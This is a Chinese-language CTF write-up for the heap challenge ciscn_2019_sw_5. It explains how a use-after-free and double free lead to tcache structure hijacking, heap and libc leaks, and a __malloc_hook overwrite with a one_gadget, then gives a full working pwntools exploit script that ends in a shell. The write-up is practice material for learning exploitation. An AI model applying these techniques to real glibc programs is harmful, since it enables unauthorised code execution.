ciscn_2019_sw_5
拿到题目,首先查看保护
正常操作,保护全开
打开ida,发现是一道标准菜单题
接下来主要对add和delete函数进行分析
固定申请0x70大小的堆块,并打印堆块内容
只能free3次,且存在uaf漏洞
具体思路如下:
首先,连续free两次,构造double free
然后,劫持fd指针到heapbase+0x30位置,劫持tcache结构体,并泄漏heap地址。此处需要爆破得到heapbase,有1/16的可能性
其次,将tcache结构体中保存堆块大小的地址劫持为7,并劫持tcache 0x80位置的堆块指针为heapbase+0x20,伪造chunk大小为0x231。free伪造大小的chunk,进入unsorted bin,接着申请泄漏libc地址,同时继续劫持tcache 0x80位置的堆块指针为heapbase+0x20。
最后,再次劫持tcache 0x80位置堆块指针为malloc_hook,并覆盖为one_gadget,直接get shell。
具体wp如下:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './ciscn_2019_sw_5'
elf = ELF(fn)
libc = ELF('/home/lst/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
debug = 0
if debug:
p = remote('node4.buuoj.cn', 27417)
else:
p = process(fn)
def menu(index):
p.sendlineafter('>> ', str(index))
def add(title, content):
menu(1)
p.sendafter('title:', title)
p.sendafter('content:', content)
def delete(index):
menu(2)
p.sendlineafter('index:', str(index))
def attack():
add('p2lst', 'aaaa') # 0
add('p2lst', 'aaaa') # 1
add('p2lst', 'aaaa') # 2
delete(0)
delete(0)
add(p8(0x30) + p8(0x90), 'aaaa') # 3
heap_base = u64(p.recvuntil('aaaa')[-11:-5].ljust(8, '\x00')) - 0x30
log.success('heap_base: ' + hex(heap_base))
add('p2lst', 'aaaa') # 4
add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 4 + p64(heap_base + 0x20)) # 5
add(p64(0), p64(0x231)) # 6
delete(5)
add('a', p8(0x7) * 0x18 + p64(0) * 6 + p64(heap_base + 0x20)) # 7
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebe61
log.success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + gadgets[1]
add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 6 + p64(malloc_hook)) # 8
add(p64(one_gadget), 'aaaa') # 9
gdb.attach(p)
menu(1)
p.interactive()
if __name__ == '__main__':
while True:
try:
# p = remote('node4.buuoj.cn', 27417)
p = process(fn)
attack()
break
except:
p.close()
continue
最后附上打通截图